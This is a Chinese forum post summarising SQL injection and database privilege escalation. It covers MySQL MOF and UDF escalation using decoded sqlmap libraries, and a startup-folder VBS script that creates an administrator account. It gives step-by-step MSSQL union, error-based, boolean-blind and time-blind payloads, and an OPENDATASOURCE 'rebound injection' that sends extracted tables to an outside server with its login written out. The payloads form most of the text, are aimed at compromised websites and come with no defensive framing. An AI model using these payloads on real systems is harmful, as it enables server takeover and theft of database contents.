数据库注入提权总结(二)

海哥  金牌会员 | 2022-9-16 17:14:27 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 900|帖子 900|积分 2700

mysql提权

MOF提权

MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003的环境下才可以成功。
提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof目录的话,就可以来执行任意命令了。
经测试win7虽然存在这个文件目录,但是mysql以管理员权限运行,也会提示写入失败。
UDF提权

UDF说白了就是自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。
如果我们添加的自定义函数可以执行系统命令,那么是不是就相当于以mysql的权限去执行系统命令,如果mysql的权限比较高,是不是就可以达到一种权限提升的效果
动态链接库

构建UDF的过程,其实就是调用动态链接库的过程,因此我们首先必须知道动态链接库存放的位置,以及要有合适的动态链接库

  • 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
  • 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录
  1. show variables like '%plugin%'; # 查找插件目录<br>select @@basedir; # 查找 mysql 安装目录
复制代码
那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。

  • sqlmap 的 UDF 动态链接库文件位置 sqlmap根目录/data/udf/mysql

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:
  1. # 解码 32 位的 Linux 动态链接库<br>➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so<br>​<br># 解码 64 位的 Linux 动态链接库<br>➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so<br>​<br># 解码 32 位的 Windows 动态链接库<br>➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll<br>​<br># 解码 64 位的 Windows 动态链接库<br>➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
复制代码

  • Metasploit的UDF动态链接库文件位置/usr/share/metasploit-framework/data/exploits/mysql
[img=720,162.36241610738256]https://www.hetianlab.com/headImg.action?news=b81da556-f077-4348-ad6c-d723e8c6582e.png[/img]

  • 两款工具带的动态链接库是一样的
寻找插件目录

[img=720,464.0625]https://www.hetianlab.com/headImg.action?news=e1e8adaa-b161-440e-8cf4-3047c8456e22.png[/img]
如果不存在的话
  1. select @@basedir; # 寻找MySQL的安装目录
复制代码
[img=720,464.0625]https://www.hetianlab.com/headImg.action?news=a0f9f0ac-196c-45e1-b814-8ef9f4b5f9c7.png[/img]
然后通过webshell手动去创建
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
写入动态链接库

方法一:
当SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击
  1. sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
复制代码
方法二:
当没有注入点时,我们可以操作原生 SQL 语句,这种情况下当 secure_file_priv 无限制的时候,我们也是可以手工写文件到 plugin 目录下的:
  1. # 直接 SELECT 查询十六进制写入<br>SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';<br>​<br># 解码十六进制再写入多此一举<br>SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
复制代码
这里的十六进制怎么获取呢?可以利用 MySQL 自带的 hex 函数来编码:
  1. # 直接传入路径编码<br>SELECT hex(load_file('/lib_mysqludf_sys_64.so'));<br>​<br># 也可以将路径 hex 编码<br>SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
复制代码
一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:
  1. SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt'; <br>​<br>SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';
复制代码
方法三:
当webshell有一定权限时,可以直接通过文件上传的方式,上传对应的dll文件
创建自定义函数并调用命令


  • CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
[img=720,464.0625]https://www.hetianlab.com/headImg.action?news=b592970b-f0f9-4d25-b45e-7bd40675d726.png[/img]

  • select * from mysql.func; 验证是否添加成功
[img=720,250.55718475073314]https://www.hetianlab.com/headImg.action?news=01ad76b9-3744-49ae-9abc-da72dddee6d2.png[/img]

  • 调用该函数,即可以mysql权限执行一些系统命令
[img=720,464.0625]https://www.hetianlab.com/headImg.action?news=5c5fc45a-3c3c-481c-b32b-9080cf66fc92.png[/img]

  • 删除自定义函数 drop function sys_eval;
[img=720,377.53846153846155]https://www.hetianlab.com/headImg.action?news=124d51ef-131c-4c0c-9bca-c0a3d1967321.png[/img]
UDF Shell

方法一:UDF.PHP
http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF
[img=720,362.32591529073943]https://www.hetianlab.com/headImg.action?news=19a3961d-8fad-42ed-a402-c7387e09c4d9.png[/img]
方法二:ntunnel_mysql.php
Navicat内置的php-mysq链接文件,上传到目标网站
[img=720,361.2371134020619]https://www.hetianlab.com/headImg.action?news=9a3e23fe-f984-4e0c-bc78-3fd8659fb2b7.png[/img]
对navicat进行如下配置即可:

方法三:蚁剑内置插件
[img=720,464.0625]https://www.hetianlab.com/headImg.action?news=ac51ce43-e183-4ec7-bab3-75b25d7dc36b.png[/img]
启动项提权

windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
  1. 在windows2003的系统下,启动项路径如下:<br>    C:\Documents and Settings\Administrator\「开始」菜单\程序\启动<br>    C:\Documents and Settings\All Users\「开始」菜单\程序\启动<br>​<br>在windows2008的系统下,启动项路径如下:<br>    C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup<br>    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
复制代码
我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。
这里使用test.vbs添加用户密码,上传到启动目录重启的时候即可自动添加账号密码
  1. set wshshell=createobject("wscript.shell")<br>a=wshshell.run("cmd.exe /c net user test test123 /add",0)<br>b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
复制代码
通过mysql的话:
  1. use mysql;<br>create table test(cmd text);<br>insert into a values(“set wshshell=createobject(“”wscript.shell””)”);<br>insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);<br>insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);<br>select * from a into outfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;
复制代码
重启之后可以提权
CVE-2016-6663和CVE-2016-6664

https://www.freebuf.com/articles/web/288941.html
https://lengjibo.github.io/mysqludf/
MSSQL

MSSQL基础

系统自带库

MSSQL安装后默认带了六个数据库

  • 4个系统库:master、model、tempdb和msdb;
  • 2个示例库:NorthwindTraders和pubs


系统视图表

MSSQL数据库有安装的自带数据表:

 MSSQL权限控制


  • 服务器角色
 
可以通过如下语句判断:
  1. select is_srvrolemember('sysadmin')
复制代码


  • 数据库角色
 
可以通过如下语句判断:
  1. select is_member('db_owner')
复制代码

MSSQL常用语句
  1. # 创建数据库<br>create database [dbname];<br>create database test;<br>​<br># 删除数据库<br>drop database [dbname];<br>drop database test;<br>​<br># 创建新表<br>create table table_name (name char(10),age tinyint,sex int);<br># 创建新表前要选择数据库,默认是master库 <br>use test; <br>create table admin (users char(255),passwd char(255),sex int);<br>​<br># 删除新表<br>drop table table_name;<br>drop table dbo.admin;<br>​<br># 向表中插入数据<br>insert into table_name (column1,column2) values(value1,value2);<br>insert into admin (users,passwd,sex) values('admin','admin',1);<br>​<br># 删除内容<br>delete from table_name where column1=value1;<br>delete from admin where sex=2;<br>​<br># 更新内容<br>update table_name set column2=”xxx” where column1=value1;<br>update admin set users='admintest' where sex=2;<br>​<br># 查找内容<br>select * from table_name where column1=value1;<br>select passwd from admin where users='admin';
复制代码
复制代码

  • 排序&获取下一条数据

    • MSSQL数据库中没有limit排序获取字段,但是可以使用top 1来显示数据中的第一条数据,
    • 使用  来排除已经显示的数据,获取下一条数据,也就是不等于的意思。
    • 使用not in来排除已经显示的数据,获取下一条数据 ,后面可以跟一个集合。

  1. # 使用<>获取数据<br>id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+<br># 使用not in获取数据<br>id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+<br>id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+
复制代码
MSSSQL注释
  1. 单行:--空格<br>多行:/**/
复制代码
常用函数


 常见注入类型

联合查询注入
  1. 1.判断注入点及类型<br>?id=1' and 1=1--+<br>?id=1' and 1=2--+<br># 那么此处是字符型注入,需要单引号闭合<br>​<br>2.判断字段数<br>?id=1' order by 3--+<br>?id=1' order by 4--+<br>​<br>3.联合查询判断回显点<br>?id=0' union select 1,2,3--+<br>​<br>4.获取当前数据库名字和版本信息<br>?id=0' union select 1,db_name(),@@version--+<br>​<br>5.获取所有的数据库名,database在较高版本的SQL Server 中已经变成了动态视图<br>?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name <br>from master.sys.databases)--+<br>​<br>6.获取所有的表名,当information前面没有库名时,默认查询当前数据库,与mysql不同,每个数据库都有单独的information表,可以用master.information_schema.tables 来查询不同数据库的信息<br>?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in<br>(select top 1 table_name from information_schema.tables)--+<br>​<br>7.获取所有的字段名,多加些限定条件方便注入<br>?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in<br>(select top 1 column_name from information_schema.columns)--+<br>​<br>?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and <br>column_name not in(select top 2 column_name from information_schema.columns where table_name='users')--<br>​<br>8.获取users表账号密码信息<br>?id=0' union select top 1 1,username,password from users--+
复制代码
报错注入


  • MSSQL数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入
  1. 1.判断注入点<br>id=1<br>​<br>2.判断是否为MSSQL数据库<br># 返回正常为MSSQL<br>id=1 and exists(select * from sysobjects)<br>id=1 and exists(select count(*) from sysobjects)<br>​<br>3.判断数据库版本号<br>id=1 and @@version>0--+<br># @@version是mssql的全局变量,@@version>0执行时转换成数字会报错,也就将数据库信息暴露出来了,必须是在where后面拼接执行<br>​<br>4.获取当前数据库名<br>and db_name()>0--+<br>and 1=db_name()--+<br># 报错注入的原理就是将其他类型的值转换层int型失败后就会爆出原来语句执行的结果<br>​<br>5.判断当前服务器拥有的权限<br>and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+<br>and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+<br>and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+<br>and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+<br>and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+<br>and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+<br>​<br>6.判断当前角色是否为DB_OWNER <br>and 1=(select is_member('db_owner'))--+<br># db_owner权限可以通过备份方式向目标网站写文件<br>​<br>7.获取当前用户名<br>and user_name()>0--+<br>​<br>8,获取所有数据库名<br>and (select name from master.sys.databases where database_id=1)>0--+<br># 更改database_id的值来获取所有的数据库<br>​<br>9.获取数据库的个数 <br>and 1=(select quotename(count(name)) from master.sys.databases)--+<br>​<br>10.一次性获取所有数据库库<br>and 1=(select quotename(name) from master.sys.databases for xml path(''))--+<br>​<br>11.获取所有的表名 <br># 获取当前库第一个表<br>and 1=(select top 1 table_name from information_schema.tables)--+<br># 获取当前库第二个表<br>and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+<br># 获取当前库第三个表<br>and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+<br># 也可通过更改top 参数获取表<br>and 1=(select top 1 table_name from information_schema.tables where table_name not in<br>(select top 5 table_name from information_schema.tables))--+<br># quotename和for xml path('')一次性获取全部表<br>and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+<br># quotename()的主要作用就是在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行。<br>​<br>12.获取字段名<br># 通过top 和 not in 获取字段<br>and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+<br>and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+<br># 通过quotename 和 for xml path('') 获取字段<br>and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+<br>​<br>13.获取表中数据<br>and 1=(select quotename(username) from users for xml path(''))--+<br>and 1=(select quotename(password) from users for xml path(''))--+
复制代码
布尔盲注
  1. 1. 判断注入点  <br>and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+<br>​<br>2.猜解数据库个数<br>id=1 and (select count(*) from sys.databases)=7--+        # 存在7个数据库<br>​<br>3.猜解数据库名长度 <br>id=1 and len((select top 1 name from sys.databases))=6--+ # 第一个库名长度为6<br>id=1 and len(db_name())=4--+                              # 当前数据库名长度为4<br>​<br>4.猜解数据库名<br>id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取库名第一个字符的ascii码为115——s<br>id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取库名第二个字符的ascii码为113——q<br># 截取第一个库名第一个字符的ascii码为109——m<br>id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+<br># 截取第二个库名第一个字符的ascii码为105——i<br>id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+ <br>​<br>5.猜解表名<br># 截取当前库的第一个表的第一个字符的ascii码为101——e<br>id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+ <br># 截取当前库的第二个表的第一个字符的ascii码为117——u<br>id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+<br>​<br>6.猜解字段名 <br># 截取当前库的emails表的第一个字符的ascii码为105——i<br>id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+<br>#截取当前库的emails表的第二个字符的ascii码为100——d <br>id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+ <br>​<br>7.猜解表中数据<br># username字段的数据第一个字符为D<br>id=1 and ascii(substring((select top 1 username from users),1,1))=68--+
复制代码
时间盲注
  1. 1.判断是否存在注入<br>id=1 WAITFOR DELAY '0:0:5'--+<br>​<br>2.判断权限<br># 如果是sysadmin权限,则延时5秒<br>id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+<br>​<br>3.查询当前数据库的长度和名字<br># 二分法查询长度<br>id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+<br># 查询数据库名字<br># substring截取字符串的位置,用ascii转为数字进行二分法查询<br>id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+<br>​<br>4.查询数据库的版本 <br>id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M<br>​<br>5.查询表个数,Sysobject 存储了所有表的信息,所有数据库的都放在一起<br>id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+<br># 当前数据库表的个数为6<br>​<br>6.查询第一个表的长度<br># 查询第一个表<br>id=1 and select top 1 name from SysObjects where xtype='u' <br># 查询结果为1<br>(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')<br># 利用and,进行判断,9为表长度的猜测<br>and len(name)=9<br># 第一个表名长度为6<br>id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+<br>id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+<br>​<br>7.查询第一个表的表名<br>id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+<br>id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+<br>​<br>8.查询第二个表的长度<br># 查询第一个表名,去除emails, emails为第一个表名<br>select top 1 name from SysObjects where xtype='u' and name not in ('emails')<br># 同理,第三个表则 and name not in ('emails','uagents')<br>id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+<br>​<br>9.查询第二个表的名字<br>id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+<br>id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+<br>​<br>10.查询第一个表中的字段<br># and name not in ('')查询第二个字段的时候可以直接在其中,排除第一个字段名<br>id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+<br>​<br>11.查询字段类型 <br>id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+<br>​<br>12.查询数据<br># 查询所有数据库<br>SELECT Name FROM Master..SysDatabases ORDER BY Name<br># 查询存在password字段的表名<br>SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'<br>id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--<br># 查询包含pass的字段名<br>SELECT top 1 name FROM SysColumns where name like '%pass%'<br>id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--
复制代码
反弹注入


  • 反弹注入条件相对苛刻一些,一是需要一台搭建了mssql数据库的vps服务器,二是需要开启堆叠注入。
  • 反弹注入需要使用opendatasource函数。

    • OPENDATASOURCE(provider_name,init_string)
    • 使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。

  • 基本流程

    • 连接vps的mssql数据库,新建表test,字段数与类型要与要查询的数据相同。
    1. CREATE TABLE test(name VARCHAR(255))
    复制代码

    • 获取数据库所有表,使用反弹注入将数据注入到表中,注意这里填写的是数据库对应的参数,最后通过空格隔开要查询的数据。
    1. # 查询sysobjects表<br>?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.sysobjects where xtype='U' --+<br>​<br># 查询information_schema数据库<br>?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select table_name from information_schema.tables--+ <br>​<br># 查询information_schema数据库<br>id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select column_name from information_schema.columns where table_name='admin'--+<br>​<br># 查询syscolumns表<br>id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.syscolumns where id=1977058079--+
    复制代码
 更多靶场实验练习、网安学习资料,请点击这里>>
 
搜索
复制

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

海哥

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表